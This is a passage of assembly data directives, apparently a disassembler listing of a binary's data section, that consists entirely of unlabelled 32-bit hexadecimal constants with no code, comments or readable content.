		dd 0E84BF7AAh, 7903CDAEh, 8F6BF65Ch, 4E2880EBh,	35050082h
		dd 567594B0h, 0E0073ECFh, 0CBD14DADh, 1FB234A0h, 923A1CDFh
		dd 821CC08Fh, 88A19EC6h, 0C785B507h, 59703C5Bh,	3C42566Ah
		dd 4D00218Ah, 60419739h, 0A8FE892Dh, 0F6618F00h, 0BC83147Bh
		dd 48C8000Ah, 1041B540h, 8B7BAE9Dh, 8700CC92h, 1C831D60h
		dd 7F52289h, 33A73721h,	26F7E0BAh, 5B760F15h, 0E7AE8C26h
		dd 0D92AAD00h, 7C850CEh, 0DFD6FCE6h, 0A4E03EF0h, 6E17EDF6h
		dd 0F935E700h, 0F8C73474h, 0C1D50128h, 0D22A1BC5h, 0D8D08C19h
		dd 0FA679858h, 87A8001Dh, 0DBC89D6Fh, 0D100A55Ah, 7D519491h
		dd 1655110Ch, 41B77666h, 34D0D307h, 0E5EE87CEh,	43802217h
		dd 0A5CCFBh, 331ABA88h,	1062468h, 0AF449F07h, 0FEC0F989h
		dd 0A0082Eh, 618C14B8h,	33CBAC80h, 0B100BF73h, 8A19ED21h
		dd 0EE22063h, 2F38C68h,	0EA6CEE00h, 0F202304Fh,	0FA80A18Bh
		dd 545C402Dh, 739100AFh, 636C64B3h, 823B668Ah, 3B6180EDh
		dd 0D443DDB9h, 8469001Dh, 7BCE4A14h, 15E6370Eh,	3B98E100h
		dd 53A04F63h, 0C36802A7h, 4DB3C66Eh, 0EC9486C1h, 6900ACCEh
		dd 502B41A4h, 95E2B0h, 4F105EE3h, 0AC3D08A9h, 7B0CA503h
		dd 981E1CCCh, 0F5D69Fh,	229454BCh, 5DB76498h, 0C283A07h
		dd 0FAC03221h, 0E9FD1Ah, 44E789C0h, 0F388B831h,	0EEF4CCB8h
		dd 1C010B00h, 65160E6Bh, 0FA670090h, 2D12DDA6h,	0B200065Bh
		dd 0E1C444C2h, 1871CAFh, 0C5F57F84h, 342FF3A7h,	0B1138004h
		dd 0F000CB9Dh, 8A8D0E19h, 85F90111h, 7EB06C31h,	545FC0D6h
		dd 69EC700h, 0A813CB36h, 0FCEE0039h, 9620D33Ch,	0BA005749h
		dd 0C661A0B2h, 7D25DD6h, 2D26A3CBh, 8D8560BFh, 9F0036ECh
		dd 0EA715709h, 7804AA77h, 9577A9h, 2FC0056Eh, 8189F901h
		dd 0E129300h, 345769ADh, 7498003Ah, 0CB7C4A79h,	37002FBFh
		dd 5EB48471h, 56771Bh, 99906FAAh, 95EF0186h, 78001598h
		dd 77DB4043h, 98AEF52Bh, 884A0006h, 590139D0h, 83B0B3A5h
		dd 38974100h, 0BB17A70Dh, 7A960578h, 80ABA3D4h,	923231E8h
		dd 0D686C00h, 23763B58h, 1CA4485Bh, 7E60FC00h, 0B30A4577h
		dd 3C4E0C00h, 1ADBC7CEh, 579800F2h, 0BFF1AC4Bh,	531D2AB0h
		dd 6E001779h, 0B35A8761h, 641D2F0Ah, 0C7007BD6h, 9D58316Fh
		dd 47852C05h, 258B0FE4h, 3AF38F00h, 6800E4BBh, 2F1A812Ah
		dd 76F676D6h, 2624F606h, 0F050D2h, 63E68CCAh, 0EB001B9Eh
		dd 0ACA8F069h, 30C472Ah, 0D77D6588h, 13F8218Ch,	467F0A11h
		dd 6478D107h, 0B210F6C7h, 0AE7ACEh, 18DF2F61h, 1F6C4156h
		dd 0DCE8A000h, 0E16B179Fh, 0B231077Dh, 0F0837948h, 42918D5Bh
		dd 72C63400h, 8BE9521Bh, 0E70E0060h, 0EA36FE65h, 8E008280h
		dd 6F6BB2F5h, 76B9A25Bh, 1FD7609h, 0E75995FCh, 703FC552h
		dd 2E011EECh, 0BD9BB7EAh, 4AEC2107h, 0B4F200C7h, 3A1447C1h
		dd 0DE0078D0h, 107AD1Bh, 5008A834h, 0E9805Eh, 564AACDh
		dd 690BFFD5h, 1600977Ch, 81441002h, 788D149h, 456D2A09h
		dd 0F5AB4090h, 407CFE7Fh, 813CA00h, 677425Ah, 0B465005Fh
		dd 0A0F8260Eh, 3073129h, 0FD862185h, 588EF610h,	7175F3h
		dd 0EDFFC2EFh, 0A7407F1Dh, 0E5AD503h, 0B0BC7BD2h, 220A066h
		dd 9DF83878h, 0FFE04D9Bh, 0CE3A220Fh, 0B3900C0Bh, 206CDAh
		dd 64C4DC8Eh, 916A05EBh, 0E1034073h, 90A8DDFEh,	0DCB1C83Eh
		dd 5E3D00A4h, 75CF21FCh, 1900E09Ch, 430AACDEh, 2E242881h
		dd 0A0561Ah, 9122B829h,	84F6BC0Eh, 0D568AA00h, 4F885187h
		dd 5E4007C5h, 91454E3Fh, 0E8299E56h, 0ED1E2BE4h, 0A780DC81h
		dd 38B32540h, 10A900FDh, 4F4BCF2Eh, 0A873A3E1h,	31F6BB00h
		dd 0B0864246h, 0C7210754h, 20B88A07h, 0D6E27229h, 40839248h
		dd 1F0082B7h, 96AF2C13h, 0E2F7E31Ah, 0D77B87h, 9FC7DACBh
		dd 857101A2h, 0B020D100h, 513698ECh, 0BDE225h, 0A6EE3E16h
		dd 0F5A7671Bh, 8F5FED09h, 61428084h, 2B4BD7Ah, 92C1129Dh
		dd 0CDE018C4h, 7601D0CFh, 2FD8B33Ah, 20B8EA8Fh,	9B40EEDCh
		dd 501C0E70h, 0CCC006C2h, 0D16AE749h, 3C00E8B8h, 0B3968DAh
		dd 269A180Ch, 38309266h, 0F0AF7500h, 20C6D54Dh,	2D010175h
		dd 0B673A03Fh, 742023D8h, 5E8101BCh, 930CE8A1h,	0F22BD0E7h
		dd 2ED0A00h, 0D9B6FD0Dh, 0B20330BDh, 0EF7681BAh, 55059C00h
		dd 0C49E4972h, 310D6EAh, 634448B2h, 0C50DC084h,	0D300908Fh
		dd 0E6C343FEh, 0CD8E7Ah, 584057DEh, 3C45E2BDh, 246B6F07h
		dd 0E5925C25h, 0EF4DC084h, 0ABA40788h, 50ED5BA9h, 79DC4D78h
		dd 0C0387400h, 0CB3C1506h, 9C2B0065h, 894B3E87h, 9603D1B7h
		dd 11CF410Bh, 27D4889Dh, 4DAE3E9Ch, 0BDA4E600h,	0F9247AF6h
		dd 6612B30Fh, 0A672804Ah, 4D04DFBh, 0BB6C8965h,	0B26AC03Ah
		dd 0EC3C3997h, 9C00FA21h, 0A09EA396h, 5DB870h, 85877468h
		dd 519B0ADh, 8003863Ch,	7DE5B228h, 1E9FB4C8h, 80266BC2h
		dd 3E9CE218h, 4200555Bh, 0A5E84ABCh, 674B69h, 0A9D513B0h
		dd 892B9286h, 2CCA0900h, 8E9D01DAh, 7F93036Ch, 9C4C98B6h
		dd 0F072EBC9h, 0B0A02942h, 93006B81h, 5E3A362Eh, 5D1A8Ah
		dd 0BB0CB9EBh, 0DBB7655Ch, 0DCFE011Ch, 181E5070h, 0DDDE006Fh
		dd 0F660D4BBh, 6605A869h, 91F7743Bh, 0EE8D8C0h,	0F04D50A7h
		dd 0B4ED07AEh, 51E7E347h, 0BAC8419Fh, 0E9071B78h, 47C5D020h
		dd 0F2EEE1h, 59508561h,	0A2C87A3h, 2F113D1Ch, 745D9282h
		dd 0C078C09Dh, 8B7101CCh, 44BAC56Fh, 4D498039h,	4FBDE1B5h
		dd 4011DD85h, 57D77658h, 0AA327EFEh, 0C8B70978h, 651C09Ch
		dd 1411EC83h, 9D00E8C1h, 0E6A9879Fh, 3CCA0BABh,	810068C3h
		dd 40E0B835h, 393B8DBDh, 4E9415C7h, 0C0486134h,	3821A656h
		dd 20A23402h, 41768DB9h, 48D43C00h, 34B5D373h, 0C8F600E7h
		dd 0E0C6F156h, 4C50DEBAh, 761C8B28h, 0A3D05562h, 793E9C4h
		dd 0EFA003FBh, 8953D2h,	0C0B606E4h, 0A8EE219Eh,	33A00B6Fh
		dd 31426300h, 727FF0h, 9B6F76A7h, 201A33C8h, 0AF005EB0h
		dd 0AC05CF4Eh, 0E4214A40h, 646B00E9h, 0DA043107h, 830062F7h
		dd 0A276D1BEh, 9A3210h,	0D507989Dh, 0BD8BEB15h,	0ED866807h
		dd 806B9140h, 39AAFBB9h, 8072CEh, 4593785Dh, 7F962E07h
		dd 41E81A13h, 0B3AF0000h, 3FA0D36Fh, 6087C8F1h,	68C667h
		dd 0FACBAC3Fh, 5401E890h, 0B9267717h, 29E06E34h, 0ABD80011h
		dd 0B215080Ch, 930037EFh, 0A07F0950h, 71DFA8h, 59F4E86Fh
		dd 0E32E03B4h, 73521400h, 2DF73D34h, 6BCD39B9h,	5C215386h
		dd 3322109Ah, 0AC730013h, 9624AAC0h, 3C00D4EFh,	0A92DB05Eh
		dd 760829h, 0F067EA2Ah,	96C06CAEh, 74536800h, 8CA2F7F1h
		dd 0AA220E70h, 3A06433h, 0ADD7BD37h, 116FCC07h,	0AC90D45Fh
		dd 7B4EC7h, 0E9C59449h,	17828523h, 41E41F1Fh, 0FA79D700h
		dd 3376935h, 6FC05B22h,	4FC3D2FDh, 0B29805C8h, 410CC47Ch
		dd 0C972118Fh, 5BDE638h, 5DF5DDAh, 3C8400D3h, 0BC5B1303h
		dd 0D63B6F03h, 9D2D3AF7h, 0CEBB19C0h, 0DB5500ACh, 4BE42AE7h
		dd 0A9E03822h, 0D461E101h, 143FA3A8h, 0F1C9D0h,	0B7094762h
		dd 101D26D7h, 63669F1Fh, 0C8C59143h, 891AA0DDh,	37D30353h
		dd 0DE92DF2Ah, 267C6198h, 482F71CCh, 0C70700A5h, 0DC3AFF93h
		dd 0A000245Ah, 89AC8A72h, 3A17E59Eh, 0C580A242h, 3B0B20A8h
		dd 0DD3A61F8h, 0F8F52055h, 0F4D7ED8h, 39FA21A0h, 780A6040h
		dd 0AF0CC1D0h, 0C0DCC393h, 3FDF034Ch, 77B0E992h, 99525998h
		dd 0F0001774h, 3A9B93CFh, 5C9297h, 62CB5043h, 0D0A97B6Dh
		dd 3FC47400h, 0B174EB6h, 14610057h, 8E9116DDh, 247B844Fh
		dd 88F0EF02h, 41CC07B9h, 0C847993Ch, 0D18F2EC0h, 32CE0029h
		dd 0BD1AB502h, 0FEA0FC01h, 0AA14D097h, 0EE1859h, 286E731Dh
		dd 0FE9466h, 1345BD4Bh,	8FB63C82h, 0DE7C1B00h, 94179619h
		dd 0EF953B4Dh, 0DA6ED007h, 4AB6D070h, 6200DC9Fh, 571EAFA8h
		dd 0D38665h, 0E129316Eh, 69DF3E06h, 0CC9B2400h,	4F386A14h
		dd 3C70388h, 4C3916F0h,	3BC8F498h, 0EBCE9600h, 6D442550h
		dd 7097007Ah, 0AD5AA4B5h, 9D0EAFF4h, 80CB6353h,	975EE68Fh
		dd 4750146h, 7FEC6A68h,	0C921B7h, 0AE887A40h, 0EB7BBA05h
		dd 0AAC75BDEh, 0F4C193h, 46648EC0h, 0FA587F85h,	94653F0Eh
		dd 90098A7Ch, 4CD65780h, 267EC57Ah, 2F1EFCh, 0F18059FFh
		dd 90176E8h, 2F2D1683h,	96D48821h, 22031934h, 0D850B872h
		dd 0F800310Bh, 7CE5BA5Eh, 78340747h, 0D91090Eh,	13005AE0h
		dd 0F943FCEDh, 66113700h, 754B542h, 2B5F0173h, 2E24DA18h
		dd 0BAE9F0DDh, 0C09F0D00h, 0AAC37582h, 95792666h, 0AC9107A4h
		dd 54D2119Bh, 0EE9A8FF5h, 14AAC0C4h, 0B50C1Fh, 7A8A7871h
		dd 55BEEF31h, 0A7E95907h, 0ED5074ECh, 39891924h, 7B8C405Eh
		dd 47285FCEh, 742ADE06h, 7941D4Ah, 0E23F4B0Fh, 30C2F005h
		dd 0AD702111h, 235BE316h
		dd 53061300h, 706F855Ch, 0BE863D56h, 0BF90819Fh, 0D980C6B8h
		dd 0B412A061h, 9B3AD042h, 363F9E06h, 3F5BD40h, 0E8640Ah
		dd 0E47E8E75h, 0EE02BA1Ch, 0DD3FF000h, 9B6BE160h, 0FAB700D1h
		dd 4AC77B51h, 0CB0F9692h, 23EA31A8h, 0B49994h, 1ADC5764h
		dd 3E4E8BA6h, 79F4DA00h, 0C9D7E050h, 0EA9F80Ah,	893BBAE5h
		dd 0EC312E60h, 780011B7h, 0FC4B45EEh, 2DD417h, 9399165Eh
		dd 0F544B905h, 23506700h, 68529F37h, 9BDA1797h,	3552000Ch
		dd 0B47FCC47h, 64732F01h, 0AA1120F8h, 0E89B9DECh, 7EF500ACh
		dd 6C06CD8Eh, 0AE00BAD5h, 0A74DE56Fh, 111E70h, 907A5E60h
		dd 41533EF4h, 6906A500h, 0E322352Ch, 1D090002h,	9528FAE8h
		dd 9300DE37h, 0A6205B80h, 48354711h, 3D03FCFCh,	0E2CB07E8h
		dd 728EC6C8h, 3955BC00h, 2AC57875h, 85B9008Ah, 0EB942491h
		dd 311C8051h, 40C0C367h, 7C8C37AFh, 0B4C70789h,	0E0C5BD3Dh
		dd 946EE7D2h, 600A5107h, 635778CDh, 0F9612CC0h,	0EE42000Fh
		dd 9E5D13A6h, 0D2133665h, 0FB9C7Dh, 536FAA32h, 0E00302Ah
		dd 9ACDC12h, 1E7BF65h, 0F481DF60h, 0FCDA29ABh, 0C70C8031h
		dd 18CC370Fh, 0DFCA0036h, 0D5933B1Ch, 0E30041C1h, 8F96B5F5h
		dd 0F76C530h, 0A1614A24h, 3BE63D21h, 0C07FC4E4h, 5B519B00h
		dd 668AD349h, 82613B9Ch, 5841EB00h, 2AE9D2D7h, 1619F700h
		dd 0DAFDB335h, 9AE700F5h, 0E0A0999Fh, 7D00297Ch, 0DD8B3085h
		dd 3433334h, 0F41FFCB0h, 97A06698h, 7A004D41h, 30120B48h
		dd 0C23F96h, 2DB3E27h, 0A5545C79h, 8B824E01h, 0AB59FB17h
		dd 0EDDB70h, 6434819h, 0FCF0ADE0h, 0B737DB00h, 0C5C12C46h
		dd 0F83EAB4h, 0B985AF5h, 74A0A820h, 0EF3DCC1Bh,	7CF48140h
		dd 38C868CBh, 5670020h,	6258C37Bh, 4384006Fh, 2C1E0A95h
		dd 69787D00h, 0E766E17h, 382303ACh, 5202F464h, 801DD43Dh
		dd 70414392h, 51EA44h, 749B9778h, 0BAF239F3h, 0A3DD8F00h
		dd 2AE35681h, 0EAD40047h, 44F05CD8h, 0A100AB7Dh, 78ADE799h
		dd 17C6B55Fh, 5EFCBE2h,	17F79Ch, 0F211B485h, 260072F0h
		dd 83D2D146h, 6CBB44h, 0C4C2F350h, 0C8B41149h, 811E6701h
		dd 0FDD12DCEh, 0F0617CFCh, 0FF107DAh, 0DBA3D091h, 0C1846280h
		dd 2C00E6F9h, 691AE976h, 26F6D7E8h, 180A60Bh, 40A885EBh
		dd 1D31C42Ch, 0CE0EFC90h, 792063Ah, 4D0264Eh, 0F6FEA9Fh
		dd 0A38D9129h, 889CFEE0h, 26004C27h, 0D053601Bh, 2AE22328h
		dd 18C2430h, 5AB37EAAh,	0D0BA4BCDh, 38033EB8h, 0DE46FB4h
		dd 9AAAB074h, 6D300C2h,	83359CD0h, 6D00773Ah, 0A51228C5h
		dd 58DE71B0h, 1F070D0Eh, 0D8FB10h, 0AD865862h, 0C7DD7001h
		dd 9A038FBBh, 1FDC3D70h, 0C0616EFBh, 0C358EA2Ch, 0D200B29Bh
		dd 0F694CD50h, 3A33CA2Bh, 76063Fh, 32BA66D9h, 21CCD239h
		dd 87A3CB3Ch, 0E77E4FEDh, 9C1E1BF0h, 68930018h,	263C8E15h
		dd 375DBD3h, 9ED42C07h,	5B304BEEh, 7B049B94h, 52D000C5h
		dd 0FE928983h, 0EE00377Ah, 0EB4ECE5Eh, 0A063EAD1h, 3A746A2h
		dd 2B5BE6A3h, 40C0A9A0h, 9F000897h, 0EA73A4A8h,	9D1560h
		dd 12A36142h, 0AC87F4D0h, 4DB55B00h, 1983D41Fh,	0BE300F9h
		dd 9518F3F6h, 9700CEBDh, 0F41A386Eh, 6C0F8Bh, 4CEBAD47h
		dd 828CCBB5h, 0A188C000h, 0D3AC5F80h, 0BBD5006Bh, 0DAB1678Bh
		dd 0FF0EC69Ah, 0E068E963h, 6C7A259Dh, 0DB3A00E5h, 28A32E5Fh
		dd 2200F153h, 4035BD10h, 0EA0BB3Fh, 9DA7900Ch, 2CBC0D20h
		dd 0AC00997Ch, 538C71Eh, 1274ABh, 0A9F9D434h, 0C8BEE9E4h
		dd 335CBC09h, 29A88C94h, 0A8988Ah, 19F82CB2h, 5E224BF2h
		dd 7235B800h, 0AF6E95CCh, 5A30003Dh, 0A2057C89h, 0D900841Dh
		dd 2AB5FA51h, 1829E91h,	2C3A5B98h, 30E82DDDh, 14078820h
		dd 0A69A32BFh, 1B9F1020h, 96A00079h, 71ECBB76h,	0BC00D80Eh
		dd 0AEA1C50Fh, 0A66D72h, 0FD8E108Fh, 2386AA5Ch,	32509A0Eh
		dd 87410036h, 0D42B7Dh,	76EA185h, 0EC66F87Ah, 39EEFA2Ch
		dd 410FEA00h, 59C01Ah, 0F0F13678h, 0CF421015h, 0D211E21Ch
		dd 25EF4AC0h, 0EBF872h,	0EC013696h, 0C10D3CA7h,	0C35ED407h
		dd 0BB302D12h, 2452B607h, 39A87D56h, 810019BBh,	0C788F2F7h
		dd 2D008A3Eh, 0B30BAF6Ch, 3DF0D4B7h, 520099E6h,	0EE22F20h
		dd 4507FF67h, 1E11CC69h, 7D13FAD0h, 74B00004h, 96EDB820h
		dd 0D507EBAAh, 91DAA425h, 809BCD27h, 0F51D338Ch, 0BCF600F2h
		dd 9E0C31AFh, 8C30E5CEh, 733907Fh, 26EE03C6h, 25DBAB76h
		dd 0D0E74FA0h, 55E240C0h, 0E1F0C9h, 64B25A97h, 0DA8F957Eh
		dd 2D47B02h, 0C016BC57h, 9A25664h, 68C5F1D7h, 9DEB1CA0h
		dd 8117DC26h, 41E7123h,	0FF7EDEC1h, 6897E0C4h, 178CE05Eh
		dd 730FFD39h, 2577039h,	2BFBEAD2h, 0AC0040F5h, 0C82A0078h
		dd 0E98CEF2Ch, 9000430Bh, 0B1281067h, 0FEC3C1F0h, 895D001Eh
		dd 376A8D96h, 8807DE6Bh, 70C7DF8Ch, 8BB626F0h, 0DD3900B9h
		dd 82138A1Bh, 45012730h, 4AC8F373h, 47C069AFh, 488004Fh
		dd 9AC5DB07h, 8448F59Bh, 7E391Dh, 0FBBE5D3Fh, 90A80888h
		dd 82A60091h, 0A41575Ch, 8C60C80Bh, 48BE6EE8h, 379F07DCh
		dd 36888410h, 0A54AC890h, 7C975801h, 0C5DC5815h, 667346h
		dd 1C17B2C1h, 0B49F2676h, 80C45D30h, 0B021F04Ah, 0AE3800E8h
		dd 0D96193F3h, 0E00A164h, 27336339h, 94058Ch, 0FD7EFC1h
		dd 5BD9CEFEh, 0A8D24200h, 22BBC588h, 9BAB0019h,	0BC4AE66Eh
		dd 0F7075359h, 0CA0977B0h, 5BAAA0CFh, 0EDE021Ah, 0CD5D3C90h
		dd 8F2A020h, 2A00AD6Fh,	47D1B444h, 3EEEF380h, 0F454E77Fh
		dd 30DE71ACh, 43B0C7BCh, 21CB10Bh, 0EC943676h, 5C400E0h
		dd 2842A65Ah, 0DB09Bh, 0BFC88C8h, 93015262h, 41BAC430h
		dd 0BEF1E0h, 0FA13C3D4h, 40E1F475h, 81BAFC00h, 62577FECh
		dd 0E0FD72B7h, 1A670068h, 0E98009BBh, 0A1005813h, 8C5F16F2h
		dd 0B02DAA62h, 54780051h, 0B61ABC34h, 7500793Fh, 0B8AE636Bh
		dd 0C18111h, 0E16DA03Dh, 0AB263933h, 76D75C03h,	0E07BB09Dh
		dd 729980D6h, 0CD8D006Fh, 73A97A0Dh, 0C1008E3Fh, 2873BFAh
		dd 72939CE9h, 924A01F8h, 38566EABh, 0FF4FCC5h, 88EE1900h
		dd 361F24DAh, 0ED091D8Fh, 0DF334CFCh, 4877F551h, 1DBEB500h
		dd 0D279D483h, 5CD60338h, 15350759h, 0E7CB8FC8h, 0D4965F17h
		dd 785B0800h, 977C7Bh, 8934DA5Dh, 0BB5155F7h, 0CA02DFF2h
		dd 6E39046Dh, 1E84800Dh, 0F82A6486h, 0E62C0001h, 0D6B561FFh
		dd 0A3D21DFh, 7D4F9FE1h, 18EF3A80h, 301C7BD3h, 7A02CF9h
		dd 84903B02h, 4CAD290Fh, 0D035808Bh, 82DDF7h, 3D5461A0h
		dd 5E398C78h, 492CD0C3h, 1C63C894h, 62173FBCh, 0C01FB31Ch
		dd 874727F7h, 72037196h, 0A979EFB5h, 7BABE007h,	85B3001Bh
		dd 63BB6F51h, 0B204DD37h, 41237289h, 0D1F0A1C7h, 0E345817h
		dd 0E357ADAEh, 800A0B44h, 1456092Ch, 0CC901876h, 33973812h
		dd 0F43C6AFCh, 8F45E180h, 0C3FCEFF3h, 1387B10Eh, 9E64E343h
		dd 497070h, 5D6D4E82h, 44A01B3Bh, 11938700h, 0AD48D99Eh
		dd 19BA0079h, 0D717C418h, 0D8018A35h, 14CCB410h, 36C49A57h
		dd 0E3740027h, 0C9AF0CF6h, 0EC1EDA86h, 3B8063C2h, 52A0B95Fh
		dd 10180C0Fh, 0E1385A59h, 821BFB00h, 65945EB2h,	184CF480h
		dd 20BB9E48h, 88000E0Bh, 7AECC7E5h, 0EAD43F22h,	47150C4Dh
		dd 83607310h, 0DFB2D600h, 0DE11FD8Fh, 9F6F0071h, 7684A306h
		dd 0FA007A63h, 61F79804h
		dd 0EC89BD01h, 0BBCB0335h, 1C8C4B95h, 0C46A77A9h, 0C503F441h
		dd 3631FC17h, 2D803DE2h, 97E1A99Fh, 1C4100DBh, 78F31448h
		dd 319EEC30h, 7F002EFh,	4173190Bh, 4A0EF044h, 4200D66Eh
		dd 5290EA6Fh, 0FC802FACh, 0F2AE022h, 0D9C99A76h, 0D20FF18Eh
		dd 9EC033E0h, 5C739FB2h, 3503F01Fh, 76C3A200h, 76E2A4Dh
		dd 0FF95366Fh, 99D580E1h, 8130C6DBh, 15CA205Bh,	0E55C0BAEh
		dd 0B70016C8h, 684AD9D0h, 664F5400h, 3F79201Ch,	5AAB001Eh
		dd 847A91A4h, 0ED7E043Eh, 7500F57Dh, 0FD067F3Ch, 73BD5158h
		dd 1507EB4h, 7E6AD6BAh,	0CC8E2864h, 20011848h, 71F126A3h
		dd 0FDF821EBh, 14A400C8h, 5B9C7CBBh, 203A1B4Eh,	0BAC50E95h
		dd 1FCBA030h, 34F4A37h,	8BCE11FCh, 38001307h, 0B439251Eh
		dd 321F3Bh, 0D37BBA98h,	0D952070Eh, 0E9AEF607h,	4B834037h
		dd 22A8D02Ch, 0C71B2FF7h, 0AB00EF5Ch, 0AC8BCDD9h, 2144032Bh
		dd 94D24D9Dh, 0C925DCD8h, 0B0C2B300h, 0A6E1086Dh, 2CB002Ch
		dd 700736E5h, 3A982784h, 0D68EB603h, 0E87B1CE7h, 102AA0h
		dd 437E1482h, 94DBF95Eh, 739C0E14h, 3A830084h, 0C0FF828Fh
		dd 8420A529h, 30197C3Fh, 0A9C4CCh, 7031EBFDh, 86AD4EABh
		dd 8F0075FEh, 8A28C865h, 18248869h, 499767CDh, 0AF078682h
		dd 0E543AB0Dh, 8B0096AEh, 0F883FED3h, 49813B85h, 0FAC7DD00h
		dd 18287FE3h, 3C98C801h, 0DE83370Fh, 0A08052F9h, 451D038Ah
		dd 0EFEE8F76h, 0A9A8C90Eh, 0D748A01Bh, 0CAB13081h, 30DD2428h
		dd 0A24DD2AAh, 0D7A4AB54h, 8F71263Dh, 0E05A3783h, 0A6E32BC3h
		dd 38411827h, 8FC4B07Ch, 4D89BB00h, 0CCD18334h,	98B8CBA8h
		dd 0E45BB300h, 0C71F40DFh, 5D553620h, 94B8080h,	8D11DC15h
		dd 9DFEF8B8h, 5D0830Eh,	40668025h, 72B033DFh, 0F0E05085h
		dd 297200AEh, 5B284D06h, 5F008A5Ch, 0E72F1259h,	23F142h
		dd 3284260Fh, 0FFEB0C9Bh, 80DEDD3Eh, 3D598363h,	0A97FFBh
		dd 9A4C198Ch, 25DDFD58h, 8F68E002h, 9685EA5Ch, 254E0820h
		dd 0A1405C71h, 0E9CD6Fh, 5AAAEB83h, 0E5F94307h,	0CEAFC007h
		dd 0A5D7364Dh, 622005E7h, 3A4AF8C7h, 8289DEFAh,	2C2013EEh
		dd 283EBA99h, 617B190Eh, 0BF0760DFh, 0B004322Fh, 82905C5h
		dd 2CAC8Dh, 4A42CCF8h, 8E00FC25h, 88FE6C89h, 71B99949h
		dd 0CB9D0E02h, 0AC006563h, 35D2E130h, 6888EC30h, 15191Fh
		dd 0BE2EF2Fh, 75EE479Bh, 0D702F773h, 659C5A8Bh,	0A0004B44h
		dd 941B63h, 0E2432F22h,	0E0C0C6AAh, 0A4011870h,	0B1D50B40h
		dd 9530532Dh, 0B6840E08h, 8D80FE03h, 42675B0Dh,	7FBF1700h
		dd 0A0128C66h, 0B1CE00E3h, 946D4C07h, 6300D4D3h, 0E2CF5984h
		dd 0C11BFEAh, 0A9678372h, 6B00B3E9h, 0DA767F27h, 75317AE0h
		dd 0F50D0001h, 0A9838B90h, 0B4605BBDh, 0EB6D19B0h, 0CB34003Bh
		dd 0B1C89BFCh, 64F2731Bh, 110E1FFCh, 80742F6Bh,	5D93F6C2h
		dd 6187092Ah, 6480439Dh, 0F9BA680Ch, 9E38B1F8h,	5827008Ch
		dd 0ABEA7840h, 89C90021h, 2B7261DCh, 8600D3F3h,	54906CE0h
		dd 4260B1h, 5FC801ABh, 0BE9BC298h, 0ED196F00h, 1C6DD810h
		dd 549F0011h, 0E850A41Eh, 0F7757B9Bh, 0D75BD503h, 0D8742ECBh
		dd 3D3D963h, 0C81DABA7h, 9E09EF3h, 0B70002D8h, 0A4EC32E9h
		dd 0B066C9h, 7883F606h,	0C55FED30h, 0F5AF7400h,	8FD60C20h
		dd 0C3D93862h, 0D31B8280h, 0CEDD515Dh, 0F90C1C7Dh, 9F7B469h
		dd 7121C052h, 0FB3963D1h, 0E3193E01h, 818C34BEh, 5167918Eh
		dd 1CA7D600h, 0B00F337h, 66B3618Ah, 121839h, 0E6433E3Dh
		dd 0A39A1D19h, 1C64AF00h, 0F4E0779Ch, 0A8E20270h, 0B1725F76h
		dd 1E84DB01h, 0C060B8F0h, 36DFFD60h, 6E007333h,	1986E2F0h
		dd 0C0EC079Dh, 7CA74681h, 50ECC22h, 6061B72Eh, 4E86CA0Dh
		dd 0F98A0090h, 8E3A886Ah, 0E0A878E8h, 0F33C237Bh, 15CE8014h
		dd 129F0EF0h, 217660F1h, 427B2CD1h, 0DE4B8800h,	0F72BA20h
		dd 0F2D80049h, 26121527h, 0B8C05C02h, 0C5ACCB87h, 0E80B2478h
		dd 10FF0023h, 0DA5E1226h, 6DD9282Eh, 96CC2000h,	57E8C4h
		dd 35E43809h, 939E39DDh, 5B76051Fh, 4F8060AFh, 0E2A33D69h
		dd 61F21400h, 8EC838E8h, 68041D00h, 6F5E7C9Ch, 28F0083h
		dd 64433ADCh, 0FE009477h, 61135F4Dh, 1F78FCEDh,	1EB897h
		dd 0E7F05093h, 0C03FAA6h, 0DB20EB80h, 8EF7C8B9h, 734307B0h
		dd 8EC43206h, 7FCE65A1h, 1008B049h, 3035E19Ah, 5230BEFBh
		dd 1B00F9D8h, 6BDFA0B5h, 0F81D2D78h, 0E460B5Dh,	3C00400Ah
		dd 0FB41DC04h, 0D76CAE1Fh, 11B0BB5Eh, 25FA69h, 0C6116389h
		dd 0DFBCA631h, 7A3AAB01h, 17E5571Dh, 90C12048h,	95F9156Ah
		dd 0B2B1876h, 5D583034h, 38C6FFDh, 1B4263EBh, 8FE4F97h
		dd 30185C2Bh, 0CD816404h, 4BD8954Ch, 1D2F8601h,	4697C77h
		dd 70844C5Dh, 58638A05h, 1E42B39h, 0AD971FE6h, 4A962534h
		dd 2CF40838h, 0A48BC199h, 1D30581Eh, 0F76B0985h, 0E5B76480h
		dd 0D7151BE9h, 0A19C6051h, 344C2DB4h, 740105CBh, 2C4CB71Dh
		dd 3F2905A0h, 0AB003864h, 36253822h, 301E56ADh,	94C71408h
		dd 793F0BC0h, 1837561Dh, 9B659804h, 0EB1C9018h,	1E57A13Dh
		dd 330C7F44h, 59F2C0A9h, 0C74B80E8h, 17AAF700h,	5718B0B3h
		dd 0B03E506Ah, 1E4C29B9h, 4B706CECh, 24A4E4F4h,	0F5D12B01h
		dd 0BFB8B7AAh, 3FCF7FCh, 0A5162535h, 10431D7Eh,	885600A4h
		dd 0ED8F0DDEh, 4B48005Bh, 72E2860Bh, 2C13EAA5h,	4F1C3167h
		dd 321B71C0h, 2C05B15Eh, 0F7A3CBAh, 0EA73319h, 2271D0DDh
		dd 0DE18415Ah, 0B6589BA2h, 0B5E6119Fh, 2A8586AAh, 0F3111440h
		dd 889818B0h, 8946E097h, 1147E500h, 2165D167h, 3B035E76h
		dd 9F513188h, 1E91A0F2h, 783C78BBh, 0D14C1E76h,	711BBC05h
		dd 11B01861h, 7002EB7Bh, 0F13314ACh, 0C654B82Fh, 18B46FDh
		dd 5E2616C5h, 809389D1h, 31A700B1h, 5F289EF1h, 0DD3EBEEAh
		dd 9C6C0B30h, 0C1B68035h, 56D29132h, 37086C55h,	25C0AC99h
		dd 0B4152F3h, 67C7B9D1h, 7B44008h, 4FF809B1h, 3C69E183h
		dd 62D58BCBh, 1414AE58h, 8C8DCB05h, 7498D173h, 0AD5F88D8h
		dd 5197044h, 0FF6572FEh, 0CF940066h, 3E250973h,	468290A5h
		dd 0A3530A1Fh, 0ECA3451Ch, 98200482h, 18293218h, 11A695CBh
		dd 0FD01AA7Fh, 7153D845h, 0D050B2C5h, 422DE48h,	3718C829h
		dd 62EDC0FFh, 0C03A1046h, 0AED88252h, 9858F611h, 30FBC14h
		dd 0C16B0734h, 0F74252h, 183C9617h, 0A629B6E8h,	8B1F18E1h
